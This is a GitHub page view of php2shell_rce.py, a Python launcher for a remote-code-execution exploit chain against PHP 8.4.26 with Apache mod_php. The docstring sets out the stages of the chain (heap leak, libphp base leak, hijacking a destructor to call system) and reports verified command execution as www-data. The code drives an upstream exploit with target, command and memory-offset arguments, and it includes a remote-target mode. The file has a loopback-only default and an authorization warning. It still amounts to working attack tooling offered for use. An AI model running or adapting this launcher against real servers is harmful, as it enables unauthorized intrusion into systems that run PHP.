FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
php2shell/tools/php2shell_rce.py at main · devploit/php2shell · GitHub
devploit
php2shell
Repository navigation
Code
Issues
3
(3)
Pull requests
Actions
Projects
Security and quality
Insights
Expand file tree
Breadcrumbs
php2shell
/
tools
/
php2shell_rce.py
Copy path
More file actions
More file actions
Latest commit
History
History
History
executable file
·
137 lines (117 loc) · 5.66 KB
Breadcrumbs
php2shell
/
tools
/
php2shell_rce.py
Copy path
File metadata and controls
executable file
·
137 lines (117 loc) · 5.66 KB
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#!/usr/bin/env python3
"""
php2shell_rce.py — launcher for the verified PHP2Shell RCE chain.
Background
----------
The public exploit by 9bie (https://github.com/9bie/php2shell-bypass-aslr-exp)
implements the full pure-HTTP chain against PHP 8.4.26 + Apache prefork +
mod_php:
stage 1 Set-Cookie heap leak -> Zend MM chunk base
stage 2 Set-Cookie libphp leak -> libphp base (zval_ptr_dtor)
stage 3 upload_progress fake ref -> pDestructor = zif_system
PROOF: uid=33(www-data) ...
It requires display_errors=On, memory_limit=8M, max_input_vars=1000,
session.use_cookies=1, session.use_strict_mode=0 and a single-worker prefork.
Those are laboratory conditions. Production PHP usually has a higher
memory_limit and displays errors off; the same chain then needs a different
heap calibration and/or a display_errors=Off leak.
This launcher does not reimplement the exploit and does not clone it: it uses
the bootstrapped upstream checkout (which has no license file, so it is used
from its own checkout) and runs it with the right arguments. Use it only against systems you own or have
written authorization to test.
Verified on this machine: PHP 8.4.26 + Apache 2.4.69 + mod_php, 3/3 runs,
PROOF uid=33(www-data).
PHP 8.3.33 note
---------------
A port of stages 1-2 to PHP 8.3.33 works (heap base and libphp base are leaked),
but the stage-3 heap layout differs and is not calibrated. This launcher does
not claim RCE on PHP 8.3.33.
"""
from
__future__
import
annotations
import
argparse
import
ipaddress
import
os
import
socket
import
subprocess
import
sys
import
urllib
.
parse
from
php2shell_paths
import
default_repo_dir
from
php2shell_upstream
import
patch_cookie_decode
,
patch_params
,
patch_tls
DEFAULT_DIR
=
default_repo_dir
()
def
is_loopback
(
host
:
str
)
->
bool
:
try
:
infos
=
socket
.
getaddrinfo
(
host
,
None
,
type
=
socket
.
SOCK_STREAM
)
except
socket
.
gaierror
:
return
False
for
info
in
infos
:
try
:
if
not
ipaddress
.
ip_address
(
info
[
4
][
0
]).
is_loopback
:
return
False
except
ValueError
:
return
False
return
True
def
main
()
->
int
:
ap
=
argparse
.
ArgumentParser
(
description
=
"Run the verified PHP2Shell RCE chain against an authorized target."
)
ap
.
add_argument
(
"-u"
,
"--target"
,
required
=
True
,
help
=
"target PHP page, e.g. http://127.0.0.1:8088/index.php"
)
ap
.
add_argument
(
"-c"
,
"--command"
,
default
=
"id>/out/p1"
,
help
=
"command to execute (max 14 bytes; default: id>/out/p1)"
)
ap
.
add_argument
(
"--profile"
,
choices
=
(
"bookworm"
,
"lab"
),
default
=
"bookworm"
,
help
=
"target build profile (default: bookworm, PHP 8.4.26 image)"
)
ap
.
add_argument
(
"--container"
,
default
=
"php2shell-target"
,
help
=
"local container used to auto-read libphp offsets"
)
ap
.
add_argument
(
"--zif-offset"
,
type
=
lambda
x
:
int
(
x
,
0
),
default
=
None
,
help
=
"zif_system offset in libphp.so (remote targets)"
)
ap
.
add_argument
(
"--dtor-offset"
,
type
=
lambda
x
:
int
(
x
,
0
),
default
=
None
,
help
=
"zval_ptr_dtor offset in libphp.so (remote targets)"
)
ap
.
add_argument
(
"--proof-file"
,
default
=
None
,
help
=
"local file the command writes to (default: <repo>/out/p1); use '' for remote"
)
ap
.
add_argument
(
"--fetch"
,
default
=
""
,
help
=
"remote proof: GET this path after exploitation (e.g. /p1)"
)
ap
.
add_argument
(
"--huge-mb"
,
type
=
int
,
default
=
None
,
help
=
"OOM field size in MiB; must exceed the target memory_limit"
)
ap
.
add_argument
(
"--repo-dir"
,
default
=
DEFAULT_DIR
,
help
=
"checkout directory"
)
ap
.
add_argument
(
"--allow-remote"
,
action
=
"store_true"
,
help
=
"allow non-loopback targets (written authorization required)"
)
ap
.
add_argument
(
"--insecure"
,
action
=
"store_true"
,
help
=
"disable TLS certificate verification (self-signed/mismatched lab certs)"
)
args
=
ap
.
parse_args
()
host
=
urllib
.
parse
.
urlsplit
(
args
.
target
if
"://"
in
args
.
target
else
"http://"
+
args
.
target
).
hostname
or
""
if
not
args
.
allow_remote
and
not
is_loopback
(
host
):
print
(
f"[!]
{
host
}
is not loopback; use --allow-remote only with authorization."
,
file
=
sys
.
stderr
)
return
4
if
args
.
allow_remote
and
(
args
.
zif_offset
is
None
or
args
.
dtor_offset
is
None
):
print
(
"[!] remote targets need --zif-offset and --dtor-offset for that libphp build."
,
file
=
sys
.
stderr
)
return
4
repo
=
args
.
repo_dir
exploit
=
os
.
path
.
join
(
repo
,
"exploit.py"
)
if
not
os
.
path
.
isfile
(
exploit
):
print
(
'[!] upstream exploit.py not found; run "python3 tools/bootstrap_upstream.py" '
"or pass --repo-dir"
,
file
=
sys
.
stderr
)
return
4
patch_params
(
repo
)
patch_cookie_decode
(
repo
)
if
args
.
insecure
:
patch_tls
(
repo
)
proof
=
args
.
proof_file
or
os
.
path
.
join
(
repo
,
"out"
,
"p1"
)
cmd
=
[
sys
.
executable
,
exploit
,
"-u"
,
args
.
target
,
"-c"
,
args
.
command
,
"--profile"
,
args
.
profile
,
"--proof-file"
,
proof
]
if
args
.
zif_offset
is
not
None
:
cmd
+=
[
"--zif-offset"
,
hex
(
args
.
zif_offset
)]
if
args
.
dtor_offset
is
not
None
:
cmd
+=
[
"--dtor-offset"
,
hex
(
args
.
dtor_offset
)]
if
args
.
fetch
:
cmd
+=
[
"--fetch"
,
args
.
fetch
]
if
args
.
huge_mb
:
cmd
+=
[
"--huge-mb"
,
str
(
args
.
huge_mb
)]
if
args
.
allow_remote
:
cmd
+=
[
"--no-auto-offsets"
]
else
:
cmd
+=
[
"--docker-container"
,
args
.
container
]
print
(
"[*] running upstream PHP2Shell RCE chain"
,
flush
=
True
)
print
(
"[*] requirements: display_errors=On, memory_limit=8M, single-worker prefork"
,
flush
=
True
)
return
subprocess
.
call
(
cmd
)
if
__name__
==
"__main__"
:
sys
.
exit
(
main
())
Back
|
FazBrowse Home
|
New Git URL